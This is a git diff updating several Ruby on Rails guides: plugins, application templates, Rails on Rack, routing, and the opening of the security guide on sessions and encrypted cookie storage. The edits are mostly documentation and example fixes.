def acts_as_yaffle(options = {})
- cattr_accessor :yaffle_text_field
- self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+ cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s
end
end
end
@@ -364,14 +359,14 @@ When you run `bin/test`, you should see the tests all pass:
### Add an Instance Method
-This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
+This plugin will add a method named 'squawk' to any Active Record object that calls `acts_as_yaffle`. The 'squawk'
method will simply set the value of one of the fields in the database.
To start out, write a failing test that shows the behavior you'd like:
```ruby
# yaffle/test/acts_as_yaffle_test.rb
-require 'test_helper'
+require "test_helper"
class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
@@ -397,7 +392,7 @@ end
```
Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
-then update 'acts_as_yaffle.rb' to look like this:
+then update `acts_as_yaffle.rb` to look like this:
```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -407,20 +402,14 @@ module Yaffle
extend ActiveSupport::Concern
included do
- end
-
- module ClassMethods
- def acts_as_yaffle(options = {})
- cattr_accessor :yaffle_text_field
- self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
-
- include Yaffle::ActsAsYaffle::LocalInstanceMethods
+ def squawk(string)
+ write_attribute(self.class.yaffle_text_field, string.to_squawk)
end
end
- module LocalInstanceMethods
- def squawk(string)
- write_attribute(self.class.yaffle_text_field, string.to_squawk)
+ class_methods do
+ def acts_as_yaffle(options = {})
+ cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s
end
end
end
@@ -450,23 +439,23 @@ send("#{self.class.yaffle_text_field}=", string.to_squawk)
Generators
----------
-Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
-the creation of generators can be found in the [Generators Guide](generators.html)
+Generators can be included in your gem simply by creating them in a `lib/generators` directory of your plugin. More information about
+the creation of generators can be found in the [Generators Guide](generators.html).
Publishing Your Gem
-------------------
Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
-commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:
+commit the code to a Git repository (like GitHub) and add a line to the `Gemfile` of the application in question:
```ruby
-gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
+gem "yaffle", git: "https://github.com/rails/yaffle.git"
```
After running `bundle install`, your gem functionality will be available to the application.
-When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
-For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html).
+When the gem is ready to be shared as a formal release, it can be published to [RubyGems](https://rubygems.org).
+For more information about publishing gems to RubyGems, see: [Publishing your gem](https://guides.rubygems.org/publishing).
RDoc Documentation
------------------
@@ -480,7 +469,7 @@ The first step is to update the README file with detailed information about how
* How to add the functionality to the app (several examples of common use cases)
* Warnings, gotchas or tips that might help users and save them time
-Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public API.
+Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add `#:nodoc:` comments to those parts of the code that are not included in the public API.
Once your comments are good to go, navigate to your plugin directory and run:
@@ -492,4 +481,4 @@ $ bundle exec rake rdoc
* [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md)
* [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/)
-* [Gemspec Reference](http://guides.rubygems.org/specification-reference/)
+* [Gemspec Reference](https://guides.rubygems.org/specification-reference/)
diff --git a/guides/source/profiling.md b/guides/source/profiling.md
deleted file mode 100644
index ce093f78ba..0000000000
--- a/guides/source/profiling.md
+++ /dev/null
@@ -1,16 +0,0 @@
-*DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
-
-A Guide to Profiling Rails Applications
-=======================================
-
-This guide covers built-in mechanisms in Rails for profiling your application.
-
-After reading this guide, you will know:
-
-* Rails profiling terminology.
-* How to write benchmark tests for your application.
-* Other benchmarking approaches and plugins.
-
---------------------------------------------------------------------------------
-
-
diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md
index 3e99ee7021..bc68a555c5 100644
--- a/guides/source/rails_application_templates.md
+++ b/guides/source/rails_application_templates.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Rails Application Templates
===========================
@@ -22,11 +22,11 @@ $ rails new blog -m ~/template.rb
$ rails new blog -m http://example.com/template.rb
```
-You can use the `app:template` Rake task to apply templates to an existing Rails application. The location of the template needs to be passed in via the LOCATION environment variable. Again, this can either be path to a file or a URL.
+You can use the `app:template` rails command to apply templates to an existing Rails application. The location of the template needs to be passed in via the LOCATION environment variable. Again, this can either be path to a file or a URL.
```bash
-$ bin/rails app:template LOCATION=~/template.rb
-$ bin/rails app:template LOCATION=http://example.com/template.rb
+$ rails app:template LOCATION=~/template.rb
+$ rails app:template LOCATION=http://example.com/template.rb
```
Template API
@@ -177,19 +177,19 @@ run "rm README.rdoc"
### rails_command(command, options = {})
-Runs the supplied task in the Rails application. Let's say you want to migrate the database:
+Runs the supplied command in the Rails application. Let's say you want to migrate the database:
```ruby
rails_command "db:migrate"
```
-You can also run tasks with a different Rails environment:
+You can also run commands with a different Rails environment:
```ruby
rails_command "db:migrate", env: 'production'
```
-You can also run tasks as a super-user:
+You can also run commands as a super-user:
```ruby
rails_command "log:clear", sudo: true
@@ -277,6 +277,6 @@ relative paths to your template's location.
```ruby
def source_paths
- [File.expand_path(File.dirname(__FILE__))]
+ [__dir__]
end
```
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
index 340933c7ee..c33851a0f9 100644
--- a/guides/source/rails_on_rack.md
+++ b/guides/source/rails_on_rack.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Rails on Rack
=============
@@ -13,16 +13,16 @@ After reading this guide, you will know:
--------------------------------------------------------------------------------
-WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and `Rack::Builder`.
+WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps, and `Rack::Builder`.
Introduction to Rack
--------------------
-Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
+Rack provides a minimal, modular, and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
-* [Rack API Documentation](http://rack.github.io/)
-
-Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the [Resources](#resources) section below.
+Explaining how Rack works is not really in the scope of this guide. In case you
+are not familiar with Rack's basics, you should check out the [Resources](#resources)
+section below.
Rails on Rack
-------------
@@ -74,7 +74,7 @@ And start the server:
$ rackup config.ru
```
-To find out more about different `rackup` options:
+To find out more about different `rackup` options, you can run:
```bash
$ rackup --help
@@ -89,14 +89,15 @@ Action Dispatcher Middleware Stack
Many of Action Dispatcher's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application.
-NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`, but built for better flexibility and more features to meet Rails' requirements.
+NOTE: `ActionDispatch::MiddlewareStack` is Rails' equivalent of `Rack::Builder`,
+but is built for better flexibility and more features to meet Rails' requirements.
### Inspecting Middleware Stack
-Rails has a handy task for inspecting the middleware stack in use:
+Rails has a handy command for inspecting the middleware stack in use:
```bash
-$ bin/rails middleware
+$ rails middleware
```
For a freshly generated Rails application, this might produce something like:
@@ -109,28 +110,31 @@ use ActiveSupport::Cache::Strategy::LocalCache::Middleware
use Rack::Runtime
use Rack::MethodOverride
use ActionDispatch::RequestId
+use ActionDispatch::RemoteIp
+use Sprockets::Rails::QuietAssets
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use WebConsole::Middleware
use ActionDispatch::DebugExceptions
-use ActionDispatch::RemoteIp
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
use ActiveRecord::Migration::CheckPending
use ActionDispatch::Cookies
use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
+use ActionDispatch::ContentSecurityPolicy::Middleware
use Rack::Head
use Rack::ConditionalGet
use Rack::ETag
-run Rails.application.routes
+use Rack::TempfileReaper
+run MyApp::Application.routes
```
The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below.
### Configuring Middleware Stack
-Rails provides a simple configuration interface `config.middleware` for adding, removing and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.
+Rails provides a simple configuration interface `config.middleware` for adding, removing, and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.
#### Adding a Middleware
@@ -177,7 +181,7 @@ And now if you inspect the middleware stack, you'll find that `Rack::Runtime` is
not a part of it.
```bash
-$ bin/rails middleware
+$ rails middleware
(in /Users/lifo/Rails/blog)
use ActionDispatch::Static
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
@@ -237,9 +241,17 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol
* Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#request_id` method.
+**`ActionDispatch::RemoteIp`**
+
+* Checks for IP spoofing attacks.
+
+**`Sprockets::Rails::QuietAssets`**
+
+* Suppresses logger output for asset requests.
+
**`Rails::Rack::Logger`**
-* Notifies the logs that the request has began. After request is complete, flushes all the logs.
+* Notifies the logs that the request has begun. After the request is complete, flushes all the logs.
**`ActionDispatch::ShowExceptions`**
@@ -249,10 +261,6 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol
* Responsible for logging exceptions and showing a debugging page in case the request is local.
-**`ActionDispatch::RemoteIp`**
-
-* Checks for IP spoofing attacks.
-
**`ActionDispatch::Reloader`**
* Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
@@ -277,18 +285,26 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol
* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value.
+**`ActionDispatch::ContentSecurityPolicy::Middleware`**
+
+* Provides a DSL to configure a Content-Security-Policy header.
+
**`Rack::Head`**
* Converts HEAD requests to `GET` requests and serves them as so.
**`Rack::ConditionalGet`**
-* Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed.
+* Adds support for "Conditional `GET`" so that server responds with nothing if the page wasn't changed.
**`Rack::ETag`**
* Adds ETag header on all String bodies. ETags are used to validate cache.
+**`Rack::TempfileReaper`**
+
+* Cleans up tempfiles used to buffer multipart requests.
+
TIP: It's possible to use any of the above middlewares in your custom Rack stack.
Resources
@@ -296,7 +312,7 @@ Resources
### Learning Rack
-* [Official Rack Website](http://rack.github.io)
+* [Official Rack Website](https://rack.github.io)
* [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html)
### Understanding Middlewares
diff --git a/guides/source/routing.md b/guides/source/routing.md
index 86492a9332..84de727c11 100644
--- a/guides/source/routing.md
+++ b/guides/source/routing.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Rails Routing from the Outside In
=================================
@@ -36,6 +36,8 @@ get '/patients/:id', to: 'patients#show'
the request is dispatched to the `patients` controller's `show` action with `{ id: '17' }` in `params`.
+NOTE: Rails uses snake_case for controller names here, if you have a multiple word controller like `MonsterTrucksController`, you want to use `monster_trucks#show` for example.
+
### Generating Paths and URLs from Code
You can also generate paths and URLs. If the route above is modified to be:
@@ -47,7 +49,7 @@ get '/patients/:id', to: 'patients#show', as: 'patient'
and your application contains this code in the controller:
```ruby
-@patient = Patient.find(17)
+@patient = Patient.find(params[:id])
```
and this in the corresponding view:
@@ -58,6 +60,26 @@ and this in the corresponding view:
then the router will generate the path `/patients/17`. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
+### Configuring the Rails Router
+
+The routes for your application or engine live in the file `config/routes.rb` and typically looks like this:
+
+```ruby
+Rails.application.routes.draw do
+ resources :brands, only: [:index, :show] do
+ resources :products, only: [:index, :show]
+ end
+
+ resource :basket, only: [:show, :update, :destroy]
+
+ resolve("Basket") { route_for(:basket) }
+end
+```
+
+Since this is a regular Ruby source file you can use all of its features to help you define your routes but be careful with variable names as they can clash with the DSL methods of the router.
+
+NOTE: The `Rails.application.routes.draw do ... end` block that wraps your route definitions is required to establish the scope for the router DSL and must not be deleted.
+
Resource Routing: the Rails Default
-----------------------------------
@@ -116,7 +138,7 @@ Creating a resourceful route will also expose a number of helpers to the control
* `edit_photo_path(:id)` returns `/photos/:id/edit` (for instance, `edit_photo_path(10)` returns `/photos/10/edit`)
* `photo_path(:id)` returns `/photos/:id` (for instance, `photo_path(10)` returns `/photos/10`)
-Each of these helpers has a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port and path prefix.
+Each of these helpers has a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port, and path prefix.
### Defining Multiple Resources at the Same Time
@@ -142,16 +164,17 @@ Sometimes, you have a resource that clients always look up without referencing a
get 'profile', to: 'users#show'
```
-Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action but you must also specify the `controller:` to use:
+Passing a `String` to `to:` will expect a `controller#action` format. When using a `Symbol`, the `to:` option should be replaced with `action:`. When using a `String` without a `#`, the `to:` option should be replaced with `controller:`:
```ruby
-get 'profile', to: :show, controller: 'users'
+get 'profile', action: :show, controller: 'users'
```
This resourceful route:
```ruby
resource :geocoder
+resolve('Geocoder') { [:geocoder] }
```
creates six different routes in your application, all mapping to the `Geocoders` controller:
@@ -173,15 +196,7 @@ A singular resourceful route generates these helpers:
* `edit_geocoder_path` returns `/geocoder/edit`
* `geocoder_path` returns `/geocoder`
-As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix.
-
-WARNING: A [long-standing bug](https://github.com/rails/rails/issues/1769) prevents `form_for` from working automatically with singular resources. As a workaround, specify the URL for the form directly, like so:
-
-```ruby
-form_for @geocoder, url: geocoder_path do |f|
-
-# snippet for brevity
-```
+As with plural resources, the same helpers ending in `_url` will also include the host, port, and path prefix.
### Controller Namespaces and Routing
@@ -425,7 +440,7 @@ resources :articles do
end
```
-Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:
+Also you can use them in any place that you want inside the routes, for example in a `scope` or `namespace` call:
```ruby
namespace :articles do
@@ -545,7 +560,7 @@ TIP: If you find yourself adding many extra actions to a resourceful route, it's
Non-Resourceful Routes
----------------------
-In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.
+In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route separately within your application.
While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.
@@ -556,7 +571,7 @@ In particular, simple routing makes it very easy to map legacy URLs to new Rails
When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. For example, consider this route:
```ruby
-get 'photos(/:id)', to: :display
+get 'photos(/:id)', to: 'photos#display'
```
If an incoming request of `/photos/1` is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the `display` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#display`, since `:id` is an optional parameter, denoted by parentheses.
@@ -629,7 +644,7 @@ You can also use this to override routing methods defined by resources, like thi
get ':username', to: 'users#show', as: :user
```
-This will define a `user_path` method that will be available in controllers, helpers and views that will go to a route such as `/bob`. Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user. Change `:username` in the route definition if you do not want your parameter name to be `:username`.
+This will define a `user_path` method that will be available in controllers, helpers, and views that will go to a route such as `/bob`. Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user. Change `:username` in the route definition if you do not want your parameter name to be `:username`.
### HTTP Verb Constraints
@@ -647,7 +662,7 @@ match 'photos', to: 'photos#show', via: :all
NOTE: Routing both `GET` and `POST` requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to.
-NOTE: 'GET' in Rails won't check for CSRF token. You should never write to the database from 'GET' requests, for more information see the [security guide](security.html#csrf-countermeasures) on CSRF countermeasures.
+NOTE: `GET` in Rails won't check for CSRF token. You should never write to the database from `GET` requests, for more information see the [security guide](security.html#csrf-countermeasures) on CSRF countermeasures.
### Segment Constraints
@@ -704,12 +719,12 @@ NOTE: There is an exception for the `format` constraint: while it's a method on
### Advanced Constraints
-If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do:
+If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a restricted list to the `RestrictedListController`. You could do:
```ruby
-class BlacklistConstraint
+class RestrictedListConstraint
def initialize
- @ips = Blacklist.retrieve_ips
+ @ips = RestrictedList.retrieve_ips
end
def matches?(request)
@@ -718,8 +733,8 @@ class BlacklistConstraint
end
Rails.application.routes.draw do
- get '*path', to: 'blacklist#index',
- constraints: BlacklistConstraint.new
+ get '*path', to: 'restricted_list#index',
+ constraints: RestrictedListConstraint.new
end
```
@@ -727,8 +742,8 @@ You can also specify constraints as a lambda:
```ruby
Rails.application.routes.draw do
- get '*path', to: 'blacklist#index',
- constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
+ get '*path', to: 'restricted_list#index',
+ constraints: lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) }
end
```
@@ -815,14 +830,14 @@ NOTE: For the curious, `'articles#index'` actually expands out to `ArticlesContr
If you specify a Rack application as the endpoint for a matcher, remember that
the route will be unchanged in the receiving application. With the following
-route your Rack application should expect the route to be '/admin':
+route your Rack application should expect the route to be `/admin`:
```ruby
match '/admin', to: AdminApp, via: :all
```
If you would prefer to have your Rack application receive requests at the root
-path instead, use mount:
+path instead, use `mount`:
```ruby
mount AdminApp, at: '/admin'
@@ -859,6 +874,49 @@ You can specify unicode character routes directly. For example:
get 'こんにちは', to: 'welcome#index'
```
+### Direct routes
+
+You can create custom URL helpers directly. For example:
+
+```ruby
+direct :homepage do
+ "http://www.rubyonrails.org"
+end
+
+# >> homepage_url
+# => "http://www.rubyonrails.org"
+```
+
+The return value of the block must be a valid argument for the `url_for` method. So, you can pass a valid string URL, Hash, Array, an Active Model instance, or an Active Model class.
+
+```ruby
+direct :commentable do |model|
+ [ model, anchor: model.dom_id ]
+end
+
+direct :main do
+ { controller: 'pages', action: 'index', subdomain: 'www' }
+end
+```
+
+### Using `resolve`
+
+The `resolve` method allows customizing polymorphic mapping of models. For example:
+
+``` ruby
+resource :basket
+
+resolve("Basket") { [:basket] }
+```
+
+``` erb
+<%= form_for @basket do |form| %>
+ <!-- basket form -->
+<% end %>
+```
+
+This will generate the singular URL `/basket` instead of the usual `/baskets/:id`.
+
Customizing Resourceful Routes
------------------------------
@@ -1003,7 +1061,7 @@ scope ':username' do
end
```
-This will provide you with URLs such as `/bob/articles/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.
+This will provide you with URLs such as `/bob/articles/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers, and views.
### Restricting the Routes Created
@@ -1081,10 +1139,10 @@ resources :videos, param: :identifier
```
```
- videos GET /videos(.:format) videos#index
- POST /videos(.:format) videos#create
- new_videos GET /videos/new(.:format) videos#new
-edit_videos GET /videos/:identifier/edit(.:format) videos#edit
+ videos GET /videos(.:format) videos#index
+ POST /videos(.:format) videos#create
+ new_video GET /videos/new(.:format) videos#new
+edit_video GET /videos/:identifier/edit(.:format) videos#edit
```
```ruby
@@ -1102,7 +1160,7 @@ class Video < ApplicationRecord
end
video = Video.find_by(identifier: "Roman-Holiday")
-edit_videos_path(video) # => "/videos/Roman-Holiday"
+edit_video_path(video) # => "/videos/Roman-Holiday/edit"
```
Inspecting and Testing Routes
@@ -1133,21 +1191,21 @@ edit_user GET /users/:id/edit(.:format) users#edit
You can search through your routes with the grep option: -g. This outputs any routes that partially match the URL helper method name, the HTTP verb, or the URL path.
```
-$ bin/rails routes -g new_comment
-$ bin/rails routes -g POST
-$ bin/rails routes -g admin
+$ rails routes -g new_comment
+$ rails routes -g POST
+$ rails routes -g admin
```
If you only want to see the routes that map to a specific controller, there's the -c option.
```
-$ bin/rails routes -c users
-$ bin/rails routes -c admin/users
-$ bin/rails routes -c Comments
-$ bin/rails routes -c Articles::CommentsController
+$ rails routes -c users
+$ rails routes -c admin/users
+$ rails routes -c Comments
+$ rails routes -c Articles::CommentsController
```
-TIP: You'll find that the output from `rails routes` is much more readable if you widen your terminal window until the output lines don't wrap.
+TIP: You'll find that the output from `rails routes` is much more readable if you widen your terminal window until the output lines don't wrap. You can also use --expanded option to turn on the expanded table formatting mode.
### Testing Routes
diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md
index de63e193f4..f5c0ba5b2d 100644
--- a/guides/source/ruby_on_rails_guides_guidelines.md
+++ b/guides/source/ruby_on_rails_guides_guidelines.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Ruby on Rails Guides Guidelines
===============================
diff --git a/guides/source/security.md b/guides/source/security.md
index a81a782cf2..bb996cc39c 100644
--- a/guides/source/security.md
+++ b/guides/source/security.md
@@ -1,7 +1,7 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
-Ruby on Rails Security Guide
-============================
+Securing Rails Applications
+===========================
This manual describes common security problems in web applications and how to avoid them with Rails.
@@ -21,13 +21,13 @@ Introduction
Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem.
-In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
+In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server, and the web application itself (and possibly other layers or applications).
The Gartner Group, however, estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
-The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
+The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment, or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
-In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the [Additional Resources](#additional-resources) chapter). It is done manually because that's how you find the nasty logical security problems.
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs, and make updating and security checks a habit (check the [Additional Resources](#additional-resources) chapter). It is done manually because that's how you find the nasty logical security problems.
Sessions
--------
@@ -52,7 +52,7 @@ User.find(session[:user_id])
NOTE: _The session ID is a 32-character random hex string._
-The session ID is generated using `SecureRandom.hex` which generates a random hex string using platform specific methods (such as OpenSSL, /dev/urandom or Win32) for generating cryptographically secure random numbers. Currently it is not feasible to brute-force Rails' session IDs.
+The session ID is generated using `SecureRandom.hex` which generates a random hex string using platform specific methods (such as OpenSSL, /dev/urandom or Win32 CryptoAPI) for generating cryptographically secure random numbers. Currently it is not feasible to brute-force Rails' session IDs.
### Session Hijacking
@@ -74,7 +74,7 @@ Hence, the cookie serves as temporary authentication for the web application. An
* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
-The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from 0.5%-10% of account balance, $0.5-$30 for credit card numbers ($20-$60 with full details), $0.1-$1.5 for identities (Name, SSN & DOB), $20-$50 for retailer accounts, and $6-$10 for cloud service provider accounts, according to the [Symantec Internet Security Threat Report (2017)](https://www.symantec.com/content/dam/symantec/docs/reports/istr-22-2017-en.pdf).
### Session Guidelines
@@ -85,39 +85,117 @@ This will also be a good idea, if you modify the structure of an object and old
* _Critical data should not be stored in session_. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
-### Session Storage
+### Encrypted Session Storage
NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is `ActionDispatch::Session::CookieStore`._
-Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session ID. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
+The `CookieStore` saves the session hash directly in a cookie on the
+client-side. The server retrieves the session hash from the cookie and
+eliminates the need for a session ID. That will greatly increase the
+speed of the application, but it is a controversial storage option and
+you have to think about the security implications and storage
+limitations of it:
+
+* Cookies imply a strict size limit of 4kB. This is fine as you should
+ not store large amounts of data in a session anyway, as described
+ before. Storing the current user's database id in a session is common
+ practice.
+
+* Session cookies do not invalidate themselves and can be maliciously
+ reused. It may be a good idea to have your application invalidate old
+ session cookies using a stored timestamp.
+
+The `CookieStore` uses the
+[encrypted](http://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-encrypted)
+cookie jar to provide a secure, encrypted location to store session
+data. Cookie-based sessions thus provide both integrity as well as
+confidentiality to their contents. The encryption key, as well as the
+verification key used for
+[signed](http://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed)
+cookies, is derived from the `secret_key_base` configuration value.
+
+As of Rails 5.2 encrypted cookies and sessions are protected using AES
+GCM encryption. This form of encryption is a type of Authenticated
+Encryption and couples authentication and encryption in single step
+while also producing shorter ciphertexts as compared to other
+algorithms previously used. The key for cookies encrypted with AES GCM
+are derived using a salt value defined by the
+`config.action_dispatch.authenticated_encrypted_cookie_salt`
+configuration value.
+
+Prior to this version, encrypted cookies were secured using AES in CBC
+mode with HMAC using SHA1 for authentication. The keys for this type of
+encryption and for HMAC verification were derived via the salts defined
+by `config.action_dispatch.encrypted_cookie_salt` and
+`config.action_dispatch.encrypted_signed_cookie_salt` respectively.
+
+Prior to Rails version 4 in both versions 2 and 3, session cookies were
+protected using only HMAC verification. As such, these session cookies
+only provided integrity to their content because the actual session data
+was stored in plaintext encoded as base64. This is how `signed` cookies
+work in the current version of Rails. These kinds of cookies are still
+useful for protecting the integrity of certain client-stored data and
+information.
+
+__Do not use a trivial secret for the `secret_key_base`, i.e. a word
+from a dictionary, or one which is shorter than 30 characters! Instead
+use `rails secret` to generate secret keys!__
+
+It is also important to use different salt values for encrypted and
+signed cookies. Using the same value for different salt configuration
+values may lead to the same derived key being used for different
+security features which in turn may weaken the strength of the key.
+
+In test and development applications get a `secret_key_base` derived from the app name. Other environments must use a random key present in `config/credentials.yml.enc`, shown here in its decrypted state:
+
+ secret_key_base: 492f...
-* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _Storing the current user's database id in a session is usually ok_.
+If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret.
+
+### Rotating Encrypted and Signed Cookies Configurations
-* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret (`secrets.secret_token`) and inserted into the end of the cookie.
